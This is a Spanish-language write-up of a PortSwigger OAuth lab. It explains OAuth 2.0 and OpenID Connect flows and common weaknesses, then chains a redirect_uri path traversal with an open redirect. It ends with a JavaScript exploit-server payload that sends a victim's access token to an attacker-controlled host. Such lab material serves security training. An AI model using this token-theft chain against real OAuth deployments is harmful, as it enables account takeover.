Entrada

OAuth Lab 5

OAuth Lab 5

Skills

  • Stealing OAuth access tokens via an open redirect

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio utiliza un servicio OAuth para permitir que los usuarios inicien sesión con su cuenta de redes sociales. Una validación defectuosa por parte del servicio OAuth hace posible que un atacante filtre tokens de acceso hacia páginas arbitrarias en la aplicación cliente

Para resolver el laboratorio, debemos identificar un open redirect en el sitio web y usarla para robar un token de acceso de la cuenta del usuario admin. Luego, debemos usar el token de acceso para obtener la clave API del administrador y enviar la solución utilizando el botón proporcionado en el banner del laboratorio

Para resolver el laboratorio, debemos robar un código de autorización asociado al usuario admin, usarlo para acceder a su cuenta y eliminar al usuario carlos

El usuario admin abrirá cualquier cosa que enviemos desde el servidor de explotación y siempre tiene una sesión activa con el servicio OAuth. Podemos iniciar sesión con nuestra propia cuenta de redes sociales utilizando las credenciales wiener:peter


Resolución

Al acceder a la web vemos esto

Si pulsamos sobre View post vemos que podemos comentar en el post

Si pulsamos sobre My account nos redirige al panel de login

No logueamos con las credenciales wiener:peter

Posteriormente nos redirige a esta otra ventana donde nos solicita permiso para acceder a nuestro perfil e email

Si hemos iniciado sesión correctamente nos saldrá este mensaje al final

Si accedemos a My account veremos nuestro username, nuestro email y nuestra API Key pero oculta

OAuth es un framework comúnmente utilizado que permite a los sitios web y aplicaciones web solicitar un acceso limitado a la cuenta de un usuario en otra aplicación. Lo más importante es que OAuth permite que el usuario conceda este acceso sin exponer sus credenciales de inicio de sesión a la aplicación que realiza la solicitud. Esto significa que los usuarios pueden ajustar qué datos desean compartir en lugar de tener que entregar el control total de su cuenta a un tercero

El proceso básico de OAuth se utiliza ampliamente para integrar funcionalidades de terceros que requieren acceso a ciertos datos de la cuenta del usuario. Por ejemplo, una aplicación puede usar OAuth para solicitar acceso a tu lista de contactos del correo electrónico y así sugerir personas con las que conectar. Sin embargo, este mismo mecanismo también se utiliza para ofrecer servicios de autenticación de terceros, permitiendo que los usuarios inicien sesión con una cuenta que ya tienen en otro sitio web

Aunque OAuth 2.0 es el estándar actual, algunos sitios web aún utilizan la versión legacy 1a. OAuth 2.0 fue creado desde cero en lugar de ser desarrollado directamente a partir de OAuth 1.0, como resultado de esto, ambos son muy diferentes. En estos laboratorios cada vez que hacemos referencia a OAuth nos referimos a OAuth 2.0

OAuth 2.0 fue desarrollado originalmente como una forma de compartir acceso a datos específicos entre aplicaciones. Funciona definiendo una serie de interacciones entre tres partes distintas, una aplicación cliente, un propietario de los recursos y un proveedor de servicios OAuth

  • Aplicación cliente - El sitio web o aplicación web que desea acceder a los datos del usuario

  • Propietario de los recursos - El usuario que es dueño de los datos a los que la aplicación cliente quiere acceder

  • Proveedor de servicio OAuth - El sitio web o aplicación web que controla los datos del usuario y el acceso a ellos. Apoyan OAuth proporcionando una API para interactuar con un servidor de autorización (gestiona la autenticación del usuario y emite tokens de acceso) y con un servidor de recursos (aloja los datos protegidos del usuario y los comparte si el token es válido)

Existen numerosas formas diferentes de implementar el proceso de OAuth. Estas se conocen como los flows o grant types de OAuth. Nos enfocaremos en los grant types de authorization code e implicit, ya que son los más comunes. De manera general, ambos grant types involucran las siguientes etapas

  • La aplicación cliente solicita acceso a un subconjunto de datos del usuario, especificando qué grant type desea usar y qué tipo de acceso desea obtener

  • Se le solicita al usuario que inicie sesión en el servicio OAuth y dé su consentimiento para el acceso solicitado

  • La aplicación cliente recibe un token de acceso único que demuestra que tiene permiso del usuario para acceder a los datos solicitados. Exactamente cómo ocurre esto varía significativamente según el grant type

  • La aplicación cliente utiliza este token de acceso para llamar a la API y obtener los datos relevantes del servidor de recursos

El grant type de OAuth determina la secuencia exacta de los pasos involucrados en el proceso de OAuth. El grant type también afecta cómo la aplicación cliente se comunica con el servicio OAuth en cada etapa, incluyendo cómo se envía el token de acceso. Por esta razón, los grant types también reciben el nombre OAuth flows

Un servicio OAuth debe estar configurado para soportar un grant type en particular antes de que una aplicación cliente pueda iniciar el flujo correspondiente. La aplicación cliente especifica qué grant type desea usar en la solicitud de autorización inicial que envía al servicio OAuth

Existen varios grant types, cada uno con diferentes niveles de complejidad y consideraciones de seguridad. Nos centraremos en los grant types más comunes, el authorization code y el implicit

Para cualquier grant type de OAuth, la aplicación cliente debe especificar qué datos desea acceder y qué tipo de operaciones desea realizar. Esto lo hace utilizando el parámetro scope de la solicitud de autorización que envía al servicio OAuth

Para un OAuth básico, los scopes a los que una aplicación cliente puede solicitar acceso son únicos para cada servicio OAuth. Como el nombre del scope es solo una cadena de texto arbitraria, el formato puede variar dependiendo del proveedor. Algunos incluso usan una URI completa como nombre del scope, similar a un endpoint de API REST. Por ejemplo, al solicitar acceso de solo lectura a la lista de contactos de un usuario, el nombre del scope podría adoptar cualquiera de las siguientes formas dependiendo del servicio OAuth que se utilice

1
2
3
4
scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly

Sin embargo, cuando OAuth se utiliza para autenticación, a menudo se emplean los scopes estandarizados de OpenID Connect en su lugar. Por ejemplo, el scope openid profile otorgará a la aplicación cliente acceso de lectura a un conjunto predefinido de información básica del usuario, como su dirección de correo electrónico, nombre de usuario, entre otros. Hablaremos sobre OpenID Connect más adelante

Authorization code grant type - La aplicación cliente y el servicio OAuth primero utilizan redirecciones para intercambiar una serie de solicitudes HTTP basadas en el navegador que inician el flujo. Se le pregunta al usuario si consiente el acceso solicitado. Si acepta, la aplicación cliente recibe un código de autorización. Luego, la aplicación cliente lleva a cabo un intercambio de este código con el servicio OAuth y recibe un token de acceso, que puede usar para llamar a la API y obtener datos relevantes del usuario

Toda la comunicación que ocurre después del intercambio del código/token se envía de servidor a servidor a través de un canal seguro preconfigurado y, por lo tanto, es invisible para el usuario final. Este canal seguro se establece cuando la aplicación cliente se registra por primera vez con el servicio OAuth. En este momento, también se genera una clave secreta, que la aplicación cliente debe usar para autenticar sus solicitudes entre servidores

Dado que los datos más sensibles, es decir, el token de acceso y los datos del usuario, no se envían a través del navegador, este grant type es probablemente el más seguro. Las aplicaciones del lado del servidor deberían usar siempre estos grant types si es posible

Authorization request - La aplicación cliente envía una solicitud al servicio OAuth en el endpoint /authorization pidiendo permiso para acceder a datos específicos del usuario. Es importante tener en cuenta que el mapeo del endpoint puede variar entre proveedores, en los laboratorios de portswigger se usa el endpoint /auth para este propósito. Sin embargo, siempre debemos poder identificar el endpoint basado en los parámetros usados esta la solicitud

1
2
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

La solicitud anterior incluye los siguientes parámetros destacados, que normalmente se proporcionan en la query

  • client_id - Parámetro obligatorio que contiene el identificador único de la aplicación cliente. Este valor se genera cuando la aplicación cliente se registra en el servicio OAuth

  • redirect_uri - La URI a la que debe redirigirse el navegador del usuario cuando envíe el código de autorización a la aplicación cliente. También se conoce como callback URI o callback endpoint. Muchos ataques OAuth se basan en explotar fallos en la validación de este parámetro

  • response_type - Determina qué tipo de respuesta espera la aplicación cliente y por lo tanto, qué flujo desea iniciar. Para el grant type de authorization code el valor debe ser code

  • scope - Se utiliza para especificar a qué subconjunto de datos del usuario desea acceder la aplicación cliente. Tenga en cuenta que estos pueden ser scopes personalizados por el proveedor de OAuth o scopes estandarizados definidos por la especificación OpenID Connect

  • state - Almacena un valor único e impredecible que está vinculado a la sesión actual en la aplicación cliente. El servicio OAuth debe devolver este valor exacto en la respuesta, junto con el código de autorización. Este parámetro funciona como una especie de token CSRF para la aplicación cliente y asegura que la solicitud a su endpoint /callback provenga de la misma persona que inició el flujo de OAuth

User login and consent - Cuando el servidor de autorización recibe la solicitud inicial, redirigirá al usuario a una página de inicio de sesión, donde se le pedirá que ingrese a su cuenta con el proveedor de OAuth (Google, Apple, GitHub)

Luego, se le mostrará una lista de datos a los que la aplicación cliente quiere acceder. Esto se basa en los scopes que han sido definidos en la authorization request. El usuario puede elegir si quiere dar o no su consentimiento para este acceso

Es importante destacar que, una vez que el usuario ha aprobado un scope determinado para una aplicación cliente, este paso se completará automáticamente siempre que el usuario aún tenga una sesión válida con el servicio de OAuth. En otras palabras, la primera vez que el usuario seleccione Iniciar sesión con Google/Facebook/GitHub, tendrá que ingresar manualmente y dar su consentimiento, pero si más tarde vuelve a la aplicación cliente, a menudo podrá iniciar sesión nuevamente con un solo click

Authorization code grant type - Si el usuario ha aceptado el acceso solicitado, su navegador será redirigido al endpoint /callback que fue especificado en el parámetro redirect_uri de la authorization request. La solicitud GET resultante contendrá el código de autorización como un parámetro de la query. Dependiendo de la configuración, también podría enviar el parámetro state con el mismo valor que en la authorization request

1
2
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

Access token request - Una vez que la aplicación cliente ha recibido el código de autorización, debe intercambiarlo por un token de acceso. Para hacer esto, envía una solicitud POST de servidor a servidor al endpoint /token del servicio OAuth. A partir de este punto, toda la comunicación ocurre a través de un canal seguro y por lo tanto, generalmente la solicitud no puede ser observada o controlada por un atacante

1
2
3
4
POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8

Además del client_id y el authorization_code, también hay estos dos nuevos parámetros

  • client_secret - La aplicación cliente debe autenticarse incluyendo la clave secreta que le fue asignada al registrarse en el servicio OAuth

  • grant_type - Se utiliza para asegurar que el nuevo endpoint sepa que grant type es el que quiere usar la aplicación cliente. En este caso, debe establecerse como authorization_code

Access token grant - El servicio OAuth se encargará de validar la solicitud del access token. Si todo es correcto, el servidor otorgará a la aplicación cliente un access token con los scopes solicitados

1
2
3
4
5
6
7
{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid profile",
    …
}
  • API call - Ahora que la aplicación cliente tiene el access token, finalmente puede obtener los datos del usuario del servidor de recursos (API de GitHub, Google, etc que almacena los datos del usuario). Para hacer esto, realiza una API call al endpoint /userinfo del servicio OAuth. El access token se envía en la cabecera Authorization: Bearer para demostrar que la aplicación cliente tiene permiso para acceder a estos datos
1
2
3
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
  • Resource grant - El servidor de recursos debe verificar que el token es válido y que pertenece a la aplicación cliente. Si es así, enviará el recurso solicitado, es decir, los datos del usuario según el scope del token de acceso. Finalmente, la aplicación cliente puede utilizar estos datos para el propósito previsto. En el caso de la autenticación OAuth, normalmente se usará como ID para conceder al usuario una sesión autenticada, lo que efectivamente iniciará su sesión
1
2
3
4
5
{
    "username": "carlos",
    "email": "carlos@carlos-montoya.net",
    …
}

Implicit grant type - El implicit grant type es mucho más simple, en lugar de obtener primero un código de autorización y luego intercambiarlo por un token de acceso, la aplicación cliente recibe el token de acceso inmediatamente después de que el usuario dé su consentimiento

Puede que te preguntes por qué las aplicaciones cliente no siempre usan el implicit grant type, la respuesta es relativamente simple, es mucho menos seguro. Cuando se usa el implicit grant type, toda la comunicación ocurre a través de redireccionamientos del navegador, es decir, no hay un canal seguro en segundo plano como en el authorization code grant type. Esto significa que el token de acceso y los datos del usuario están más expuestos a posibles ataques

El implicit grant type es más adecuado para aplicaciones de una sola página y aplicaciones nativas de escritorio que no pueden almacenar fácilmente el client_secret en el back-end y por lo tanto, no se benefician tanto del authorization code grant type

Authorization request - El implicit grant type comienza de manera muy similar al authorization code grant type. La única diferencia importante es que el parámetro response_type debe establecerse como token

1
2
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

User login and consent - El usuario inicia sesión y decide si otorga o no los permisos solicitados. Este proceso es exactamente igual en ambos grant types

Access token grant - Si el usuario otorga su consentimiento para el acceso solicitado, aquí es donde las cosas comienzan a diferir. El servicio OAuth redirigirá el navegador del usuario al redirect_uri especificado en la authorization request. Sin embargo, en lugar de enviar un parámetro en la query con un código de autorización, enviará el token de acceso y otros datos específicos del token como un fragmento de URL

Dado que el token de acceso se envía en un fragmento de URL, nunca se envía directamente a la aplicación cliente. En su lugar, la aplicación cliente debe utilizar un script adecuado para extraer el fragmento y almacenarlo

1
2
GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

API call - Una vez que la aplicación cliente ha extraído el token de acceso del fragmento de URL, puede usarlo para hacer llamadas API al endpoint /userinfo del servicio OAuth. A diferencia del authorization code grant type, esto también ocurre a través del navegador

1
2
3
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5

Resource grant - El servidor de recursos debe verificar que el token es válido y que pertenece a la aplicación cliente. Si es así, enviará el recurso solicitado, es decir, los datos del usuario según el scope asociado al token de acceso

La aplicación cliente finalmente puede utilizar estos datos para su propósito previsto. En el caso de la autenticación con OAuth, normalmente se usará como un ID para otorgar al usuario una sesión autenticada, iniciando así sesión

1
2
3
4
{
    "username": "carlos",
    "email": "carlos@carlos-montoya.net"
}

Aunque originalmente no fue diseñado para este propósito, OAuth ha evolucionado hasta convertirse también en un método de autenticación de usuarios. Por ejemplo, en vez de crearnos una cuenta en un sitio web proporcionando un correo electrónico y contraseña podemos hacerlo empleando una cuenta de Google, Facebook GitHub etc. Estas opciones es muy probable que estén basadas en OAuth 2.0

En los mecanismos de autenticación con OAuth, los flujos básicos de OAuth siguen siendo prácticamente los mismos, la principal diferencia está en cómo la aplicación cliente utiliza los datos que recibe. Desde la perspectiva del usuario final, el resultado de la autenticación con OAuth se asemeja en gran medida al inicio de sesión único (SSO) basado en Security Assertion Markup Language (SAML). En estos materiales, nos centraremos exclusivamente en las vulnerabilidades de este tipo que son similares al SSO

La autenticación con OAuth generalmente se implementa de la siguiente manera

  • El usuario elige la opción de iniciar sesión con su cuenta de redes sociales

  • La aplicación cliente utiliza entonces el servicio OAuth de la red social para solicitar acceso a ciertos datos que pueda usar para identificar al usuario, como por ejemplo, la dirección de correo electrónico registrada en su cuenta

  • Después de recibir un token de acceso, la aplicación cliente solicita estos datos al servidor de recursos, normalmente desde un endpoint dedicado, como /userinfo

  • Una vez recibidos los datos, la aplicación cliente los utiliza en lugar de un nombre de usuario para autenticar al usuario. El token de acceso obtenido del servidor de autorización suele emplearse en lugar de una contraseña tradicional

Las vulnerabilidades en la autenticación OAuth surgen en parte porque la especificación de OAuth es relativamente vaga y flexible por diseño. Aunque hay varios componentes obligatorios que son necesarios para la funcionalidad básica de cada grant type, la gran mayoría de la implementación es opcional. Esto incluye muchas configuraciones necesarias para mantener seguros los datos de los usuarios. En resumen, hay muchas oportunidades para que se lleven a cabo malas prácticas

Otro de los problemas con clave de OAuth es la falta general de funciones de seguridad integradas. La seguridad depende casi por completo de que los desarrolladores utilicen la combinación correcta de opciones de configuración e implementen sus propias medidas de seguridad adicionales, como una validación de entrada robusta

Dependiendo del grant type, los datos altamente sensibles también se envían a través del navegador, lo que presenta diversas oportunidades para que un atacante los intercepte

Reconocer cuándo una aplicación utiliza autenticación OAuth es relativamente sencillo, si vemos una opción para iniciar sesión con nuestra cuenta de otro sitio web (Google, Facebook, GitHub etc) es un fuerte indicio de que se está usando OAuth

La forma más confiable de identificar la autenticación OAuth es redirigir tu tráfico a través de Burpsuite y revisar los mensajes HTTP correspondientes cuando usas esta opción de inicio de sesión. Independientemente del grant type que se emplee, la primera solicitud del flujo siempre será una petición al endpoint /authorization, que contiene varios parámetros de consulta específicos para OAuth. En particular, debemos buscar los parámetros client_id, redirect_uri y response_type. Este es un ejemplo de una solicitud de autorización

1
2
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c2 HTTP/1.1
Host: oauth-authorization-server.com

Realizar un reconocimiento básico del servicio OAuth utilizado puede orientarnos en la dirección correcta para identificar vulnerabilidades

Si se utiliza un servicio OAuth externo, deberíamos poder identificar el proveedor específico a partir del nombre de host al que se envía la solicitud de autorización. Por ejemplo, si el host es accounts.google.com podemos saber que el proveedor es Google

Dado que estos servicios ofrecen una API pública, suele haber documentación detallada disponible que proporciona información útil, como los nombres exactos de los endpoints y qué opciones de configuración se están utilizando. Si el proveedor es Google podemos consultar la documentación de OAuth en https://developers.google.com/identity/protocols/oauth2

Una vez sepamos el nombre de host del servidor de autorización, siempre debemos intentar enviar una solicitud GET a estos endpoints estándar

1
2
/.well-known/oauth-authorization-server  
/.well-known/openid-configuration  

Estos suelen devolver un archivo de configuración JSON con información clave, como detalles sobre funciones adicionales que podrían estar soportadas. En ocasiones, esto puede revelar una superficie de ataque más amplia o características admitidas que no se mencionan en la documentación

Las aplicaciones cliente suelen utilizar servicios OAuth reconocidos y altamente robustos, que están bien protegidos contra exploits conocidos. Sin embargo, su propia implementación puede ser menos segura

Las vulnerabilidades pueden surgir tanto en la implementación de OAuth por parte de la aplicación cliente como en la configuración del propio servicio OAuth. Algunas de las vulnerabilidades más comunes son las siguientes

Vulnerabilidades en la aplicación cliente

  • Implementación incorrecta del grant type

  • Protección CSRF defectuosa

Vulnerabilidades en el servicio OAuth

  • Leaks de de códigos de autorización y tokens de acceso

  • Validación del scope errónea

  • Registrar usuarios sin verificar sus datos

Como ya hemos mencionado, la especificación de OAuth está poco definida. Esto es especialmente cierto en lo que respecta a la implementación por parte de la aplicación cliente. Un flujo de OAuth involucra muchos componentes dinámicos, con numerosos parámetros opcionales y ajustes de configuración en cada grant type, lo que significa que hay amplio margen para configuraciones incorrectas

Implementación incorrecta del grant type - Debido a los peligros que implica enviar tokens de acceso a través del navegador, el implicit grant type se recomienda principalmente para aplicaciones de una sola página (SPA). Sin embargo, también se utiliza con frecuencia en aplicaciones web clásicas de tipo cliente-servidor debido a su relativa simplicidad

En este flujo, el token de acceso se envía desde el servicio OAuth a la aplicación cliente a través del navegador del usuario como un fragmento de la URL y luego, la aplicación cliente accede al token mediante JavaScript. El problema es que, si la aplicación desea mantener la sesión después de que el usuario cierre la página, necesita almacenar en algún lugar los datos del usuario actual (normalmente un ID de usuario y el token de acceso)

Para solucionar este problema, la aplicación cliente a menudo envía estos datos al servidor en una solicitud POST y luego asigna al usuario una cookie de sesión, haciendo que el usuario se loguee. Esta solicitud es aproximadamente equivalente al envío de un formulario que podría enviarse como parte de un inicio de sesión tradicional basado en contraseñas. Sin embargo, en este escenario, el servidor no tiene secretos ni contraseñas para comparar con los datos enviados, lo que significa que confía implícitamente en ellos

En el implicit grant type, esta solicitud POST queda expuesta al atacantes a través del navegador. Como resultado, este comportamiento puede conducir a una vulnerabilidad grave si la aplicación cliente no verifica correctamente que el token de acceso coincida con los demás datos de la solicitud. En este caso, un atacante puede simplemente modificar los parámetros enviados al servidor para hacerse pasar por cualquier usuario

Cuando se utiliza para autenticación, OAuth a menudo se combina con OpenID Connect, que proporciona funciones adicionales relacionadas con la identificación y autenticación de usuarios. Añade funcionalidades sencillas que permiten un mejor soporte para el caso de uso de autenticación en OAuth

OAuth no fue diseñado inicialmente pensando en la autenticación, su propósito original era servir como un mecanismo para delegar autorizaciones entre aplicaciones para recursos específicos. Sin embargo, muchos sitios web comenzaron a adaptar OAuth para usarlo como mecanismo de autenticación. Para lograrlo, normalmente solicitaban acceso de lectura a algunos datos básicos del usuario y si se les concedía este acceso, asumían que el usuario se había autenticado en el lado del proveedor de OAuth

Estos mecanismos de autenticación basados en OAuth simple distaban mucho de ser ideales. Para empezar, la aplicación cliente no tenía forma de saber cuándo, dónde o cómo se autenticaba el usuario. Además, como cada implementación era una solución personalizada, no había una forma estándar de solicitar datos del usuario para este fin. Para soportar OAuth correctamente, las aplicaciones cliente tenían que configurar mecanismos OAuth separados para cada proveedor, cada uno con endpoints distintos, conjuntos de scopes únicos, etc

OpenID Connect resuelve muchos de estos problemas al añadir características estandarizadas relacionadas con la identidad, haciendo que la autenticación mediante OAuth funcione de manera más uniforme y confiable.

OpenID Connect se integra perfectamente en los flujos normales de OAuth. Desde la perspectiva de la aplicación cliente, la diferencia clave es que existe un conjunto adicional de scopes estandarizados (iguales para todos los proveedores) y un nuevo tipo de respuesta, el id_token

Los roles en OpenID Connect son básicamente los mismos que en OAuth estándar. La principal diferencia es que la especificación utiliza una terminología ligeramente distinta

  • Relying Party - La aplicación que solicita la autenticación de un usuario. Es sinónimo de la aplicación cliente en OAuth

  • End User - El usuario que está siendo autenticado. Equivale al propietario del recurso en OAuth

  • OpenID Provider - Un servicio OAuth configurado para soportar OpenID Connect

El término claims se refiere a los pares clave:valor que representan información sobre el usuario en el servidor de recursos. Un ejemplo de un claim podría ser "family_name":"Montoya"

A diferencia de OAuth básico, cuyos scopes son únicos para cada proveedor, todos los servicios de OpenID Connect utilizan un conjunto idéntico de scopes. Para usar OpenID Connect, la aplicación cliente debe incluir el scope openid en la solicitud de autorización y posteriormente puede agregar uno o más de los siguientes scopes estándar

  • profile

  • email

  • address

  • phone

Cada uno de estos scopes corresponde a permisos de lectura para un subconjunto de claims sobre el usuario, definidos en la especificación de OpenID. Por ejemplo, solicitar el scope openid profile le dará a la aplicación acceso de lectura a una serie de atributos relacionados con la identidad del usuario, como family_name, given_name, birth_date, entre otros

La otra incorporación principal de OpenID Connect es el tipo de respuesta id_token. Este devuelve un JSON Web Token (JWT) firmado con una JSON Web Signature (JWS). El payload del JWT contiene una lista de claims basados en el scope solicitado inicialmente. También incluye información sobre cómo y cuándo el usuario fue autenticado por última vez en el servicio OAuth. La aplicación cliente puede usar esto para determinar si el usuario ha sido autenticado cumpliendo los requisitos mínimos de autenticación necesarios para permitir acceso a un recurso o funcionalidad

El principal beneficio de usar id_token es la reducción en el número de solicitudes entre la aplicación cliente y el servicio OAuth, lo que puede mejorar el rendimiento general. En lugar de tener que obtener un access token y luego solicitar los datos del usuario por separado, el ID token (que ya contiene esta información) se envía a la aplicación cliente inmediatamente después de que el usuario se autentique

A diferencia de OAuth básico, que depende simplemente de un canal seguro, la integridad de los datos transmitidos en un ID token se basa en una firma criptográfica JWT. Por esta razón, el uso de ID tokens puede ayudar a protegerse contra algunos ataques de Man-in-the-Middle (MITM). Sin embargo, dado que las claves criptográficas para verificar la firma se transmiten por el mismo canal de red (normalmente expuestas en /.well-known/jwks.json), algunos ataques siguen siendo posibles

Cabe destacar que OAuth admite múltiples tipos de respuesta, por lo que es perfectamente válido que una aplicación cliente envíe una solicitud de autorización que combine un tipo de respuesta básico de OAuth con el id_token de OpenID Connect. En estos casos, tanto un ID token como un code o access token se enviarán a la aplicación cliente al mismo tiempo

1
2
response_type=id_token token
response_type=id_token code

Si la aplicación cliente está utilizando activamente OpenID Connect, esto debería ser evidente en la solicitud de autorización. La forma más infalible de verificarlo es buscar el scope obligatorio openid

Incluso si el proceso de inicio de sesión no parece estar utilizando OpenID Connect inicialmente, aún vale la pena verificar si el servicio de OAuth lo admite. Simplemente puedes intentar agregar el scope openid o cambiar el tipo de respuesta a id_token y observar si esto genera un error

Al igual que con OAuth básico, también es una buena idea revisar la documentación del proveedor de OAuth para ver si hay información útil sobre su compatibilidad con OpenID Connect. También es posible que podamos acceder al archivo de configuración desde el endpoint estándar /.well-known/openid-configuration

La especificación de OpenID Connect es mucho más estricta que la de OAuth básico, lo que significa que, en general, hay menos posibilidades de implementaciones peculiares con vulnerabilidades evidentes. Dicho esto, como es solo una capa que se basa en OAuth, la aplicación cliente o el servicio de OAuth aún podrían ser vulnerables a algún ataque basado en OAuth

La especificación OpenID describe una forma estandarizada de permitir que las aplicaciones cliente se registren en el proveedor de OpenID. Si se admite el registro dinámico de clientes, la aplicación cliente puede registrarse enviando una solicitud POST a un endpoint dedicado, generalmente llamado /registration. El nombre de este endpoint suele proporcionarse en el archivo de configuración y la documentación

En el body de la solicitud, la aplicación cliente envía información clave sobre sí misma en formato JSON. Por ejemplo, a menudo se requerirá incluir un array de URIs de redirección whitelisteadas. También puede enviar información adicional, como los nombres de los endpoints que queremos exponer, un nombre para la aplicación, etc. Una solicitud de registro típica podría verse así

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
    ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256"
    // …
}

El proveedor de OpenID debe requerir que la aplicación cliente se autentique. En el ejemplo anterior, están utilizando un bearer token HTTP. Sin embargo, algunos proveedores permitirán el registro dinámico de clientes sin ninguna autenticación, lo que permite a un atacante registrar su propia aplicación cliente maliciosa. Esto puede tener diversas consecuencias dependiendo de cómo se utilicen los valores de estas propiedades controladas por el atacante

Por ejemplo, algunas de estas propiedades pueden proporcionarse como URIs. Si el proveedor de OpenID accede a cualquiera de ellas, esto podría potencialmente conducir a vulnerabilidades SSRF de segundo orden, a menos que se implementen medidas de seguridad adicionales

Hasta ahora, hemos visto la forma estándar de enviar los parámetros requeridos para la solicitud de autorización, es decir, a través de una query string. Algunos proveedores de OpenID ofrecen la opción de enviar estos parámetros en un JSON Web Token (JWT) en su lugar. Si esta función es compatible, puedes enviar un único parámetro request_uri que apunte a un JWT que contenga el resto de los parámetros de OAuth y sus valores. Dependiendo de la configuración del servicio de OAuth, el parámetro request_uri podría ser otro vector potencial para vulnerabilidades SSRF

También podríamos aprovechar esta función para eludir la validación de estos valores de parámetros. Algunos servidores pueden validar correctamente la query string en la solicitud de autorización, pero podrían fallar al aplicar la misma validación a los parámetros dentro de un JWT, incluido el redirect_uri

Para verificar si esta opción es compatible, debemos buscar la configuración request_uri_parameter_supported en el archivo de configuración o en la documentación. Alternativamente, podemos probar a agregar el parámetro request_uri para ver si funciona, esto lo hacemos debido a que hay algunos servidores que admiten esta función incluso si no la mencionan explícitamente en su documentación

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos todo el flujo de peticiones

Podemos determinar el grant type observando la petición a /auth. En este caso el parámetro response_type tiene el valor token lo cual quiere decir que estamos ante un implicit grant type. Además de esto también podemos ver el nombre de host del servidor de autorización, en este caso es 0aa200df04b772bf80a5030300d90002.web-security-academy.net

Si nos fijamos bien el access_token que obtenemos es el token Bearer que utilizamos al realizar la petición al endpoint /me para obtener los datos de nuestro usuario

He intentado reemplazar el redirect_uri con nuestro domino de Burpsuite Collaborator pero no ha dado resultado y nos ha devuelto un 400 Bad Request

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com&response_type=token&nonce=-586290821&scope=openid%20profile%20email

He intentado bypassear el dominio https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback y hacer que la redirección se haga a mi dominio de Burpsuite Collaborator pero tampoco ha dado resultado

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback@https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com&response_type=token&nonce=-586290821&scope=openid%20profile%20email

He intentado llevar a cabo un parameter pollution añadiendo redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com al final de la URL pero no ha funcionado

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback&response_type=token&nonce=-586290821&scope=openid%20profile%20email&redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com

He probado un path traversal y en este caso sí ha funcionado

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback/../&response_type=token&nonce=-586290821&scope=openid%20profile%20email

Podemos ver como si no hacemos el path traversal nos redirige a https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback#access_token=7_zqOzYjOwqjx9p4q89vMQ1OerjxHZNZQknryzCZeLs&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

Sin embargo, si efectuamos el path traversal nos redirige a https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/#access_token=VS0YNG681SR-PwP8nn2hBp5ptfo8KmfunnG3Qpq1C9W&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

Tenemos el path traversal pero tenemos que combinarlo con un open redirect para que nos envíe el access_token a nuestro servidor. He he dado cuenta que si pulsamos sobre View post > next page nos muestra una ruta interesante

Si capturamos la petición con Burpsuite y como path ponemos nuestro dominio de Burpsuite Collaborator vemos que funciona

Ahora que tenemos un path traversal y un open redirect, podemos combinar ambas vulnerabilidades para obtener el access_token en nuestro servidor. Para ello, nos dirigimos al Exploit server y construimos este payload

1
2
3
4
5
6
7
<script>
    if (!document.location.hash) {
        window.location.replace('https://oauth-0ae9004f04e1c6638185ddac0230000f.oauth-server.net/auth?client_id=q2q7kc9umvpf7hxambobn&redirect_uri=https://0a8400660405c6888116dfdf00be0038.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a35002e0433c6b6813cde6b01a300cb.exploit-server.net/exploit&response_type=token&nonce=-1397029964&scope=openid%20profile%20email');
    } else {
        window.location = '/?pwned='+document.location.hash.substr(1);
    }
</script>

